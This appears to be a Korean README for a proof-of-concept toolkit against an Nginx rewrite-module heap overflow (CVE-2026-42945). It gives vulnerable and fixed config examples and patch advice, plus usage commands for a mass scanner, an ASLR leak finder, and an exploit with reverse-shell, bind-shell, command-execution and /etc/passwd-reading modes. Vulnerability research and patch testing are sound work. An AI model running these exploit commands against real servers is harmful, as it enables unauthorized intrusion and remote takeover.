
CVE-2026-42945 Nginx Rift
CVE-2026-42945(Nginx Rift)에 대한 포괄적인 개념 증명(PoC) 툴킷입니다. 이는 Nginx의 ngx_http_rewrite_module에서 발생하는 치명적인 힙 버퍼 오버플로우 취약점입니다.
| 필드 | 세부 사항 |
|---|---|
| CVE ID | CVE-2026-42945 |
| 이름 | Nginx Rift |
| 유형 | 힙 버퍼 오버플로우 |
| 구성 요소 | ngx_http_rewrite_module |
| 심각도 | 치명적(CVSS 9.2) |
| 영향 버전 | Nginx 0.6.27 - 1.30.0 |
| 패치 버전 | Nginx 1.30.1 / 1.31.0 |
이 취약점은 리라이트 규칙을 처리할 때 두 내부 패스 간의 크기 계산 오류로 인해 발생합니다. 설정에 다음이 함께 사용되는 경우:
$1, $2 등)?를 포함하는 대체 문자열Nginx는 첫 번째 패스에서 필요한 버퍼 크기를 잘못 계산하고 두 번째 패스에서 할당된 힙 버퍼를 초과하여 쓰기를 수행합니다.
server {
# 취약: 이름 없는 캡처($1) + 대체 문자열 내 '?'
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 안전: 이름 있는 캡처(?P<path>)가 $1을 대체
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - 핵심 PoC 도구단일 대상 취약점 스캐너 및 익스플로잇 도구입니다.
기능:
Server 헤더에서 Nginx 버전 감지사용법:
# 버전 감지 및 취약점 테스트
python nginx_rift_poc.py -t target.example.com
# 사용자 정의 페이로드로 테스트
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 대상
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 취약한 테스트 설정 생성
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 안전한(패치된) 설정 생성
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - 대량 스캐너여러 대상을 동시에 테스트하는 일괄 스캐너입니다.
기능:
사용법:
# 대상 파일에서 스캔(형식: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 단일 대상 스캔
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 네트워크 범위 스캔
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 고속 스캔
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
대상 파일 형식:
# 주석은 #으로 시작
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - 설정 분석기로컬 Nginx 설정 파일에서 취약한 리라이트 패턴을 스캔합니다.
기능:
nginx.conf 구문 분석 및 include 지시문 추적?와 함께 사용된 이름 없는 캡처 감지사용법:
# 단일 파일 스캔
python config_checker.py /etc/nginx/nginx.conf
# 디렉터리 재귀 스캔
python config_checker.py -d /etc/nginx/conf.d/
# 취약한 패턴 자동 수정(.bak 백업 생성)
python config_checker.py --fix /etc/nginx/nginx.conf
# 일반적인 Nginx 경로 자동 감지
python config_checker.py
enhanced_poc.py - 향상된 RCE PoCdepthfirst의 공식 연구를 기반으로 한 고급 익스플로잇 도구로, 여러 리라이트 패턴과 익스플로잇 모드를 지원합니다.
기능:
/api/, /redirect/, /user/ 등)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_s를 포함한 동적 스프레이 본문 구성사용법:
# 패턴 및 버전 자동 감지
python enhanced_poc.py -t target.example.com --detect
# 명령 실행(ASLR 꺼짐)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 리버스 셸
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 바인드 셸
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 원격 파일 읽기
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 사용자 정의 힙 기본(ASLR 꺼진 대상용)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 오버플로우 트리거로 & 사용
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
익스플로잇 모드 세부 정보:
| 모드 | 설명 | 출력 |
|---|---|---|
cmd | 단일 셸 명령 실행 | 대상의 명령 출력 |
shell | 리버스 셸 생성 | --listen-ip:listen-port로 연결 |
bind | 대상에 바인드 셸 생성 | 대상의 --listen-port에서 수신 |
read | 대상에서 파일 읽기 | /tmp/nginx_rift_read에 내용 기록 |
주소 구성(ASLR 꺼짐 전용):
--heap-base: 대상 힙 기본 주소(예: 0x555555559000)--libc-base: libc 기본 주소(예: 0x7ffff77ba000)--system-addr: 직접 system() 주소(libc-base를 재정의)aslr_leak_detector.py - ASLR 누출 감지기ASLR 보호를 우회할 수 있는 정보 누출을 감지하는 포괄적인 스캐너입니다.
기능:
/nginx_status, /actuator/* 등)enhanced_poc.py와 직접 통합사용법:
# 단일 대상 스캔
python aslr_leak_detector.py -t target.example.com
# SSL 스캔
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 파일에서 스캔, 보고서 저장
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 네트워크 범위 스캔
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 빠른 스캔 모드
python aslr_leak_detector.py -t target.example.com --quick
향상된 PoC와 통합:
# 1단계: 누출 감지
python aslr_leak_detector.py -t target.example.com -o leak.json
# 2단계: 누출된 주소를 익스플로잇에 사용
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC 도구는 다음 지표를 통해 취약점을 식별합니다:
| 지표 | 설명 |
|---|---|
| 연결 끊김 | 대상이 예기치 않게 연결 종료(worker 충돌) |
| 게이트웨이 오류 | HTTP 502/503/504 응답(worker 프로세스 사망) |
| 느린 응답 | 응답 시간이 크게 증가(충돌 복구) |
| 빈 응답 | 기준과 비교하여 응답 본문 사라짐 |
| 버전 일치 | 감지된 Nginx 버전이 취약한 범위에 있음 |
외부 종속성이 필요하지 않습니다. Python 표준 라이브러리만 사용합니다.
# 툴킷 복제 또는 다운로드
git clone <repository-url>
cd CVE-2026-42945
# Python 버전 확인(3.7+ 권장)
python3 --version
# 도구 실행
python3 nginx_rift_poc.py --help
| 제품 | 영향을 받는 버전 | 패치된 버전 |
|---|---|---|
| Nginx 오픈 소스 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 패치 이전의 모든 버전 | 패치된 릴리스로 업데이트 |
| Nginx Gateway Fabric | 패치 이전의 모든 버전 | 패치된 릴리스로 업데이트 |
패치가 즉시 불가능한 경우, 이름 없는 캡처를 이름 있는 캡처로 대체하십시오:
# 수정 전(취약)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 수정 후(안전)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
취약한 리라이트 패턴을 대상으로 하는 비정상 요청을 차단하는 WAF 규칙을 배포하십시오.
이 툴킷은 승인된 보안 테스트 및 연구 목적으로만 사용됩니다.
이 결함은 다른 세 가지 메모리 손상 문제와 함께 발견되었습니다:
| CVE | 설명 | 심각도 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI 메모리 할당 결함 | 높음 |
| CVE-2026-40701 | OCSP용 DNS 확인에서 use-after-free | 중간 |
| CVE-2026-42934 | UTF-8 구문 분석 범위 초과 읽기 | 중간 |
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로 제공됩니다.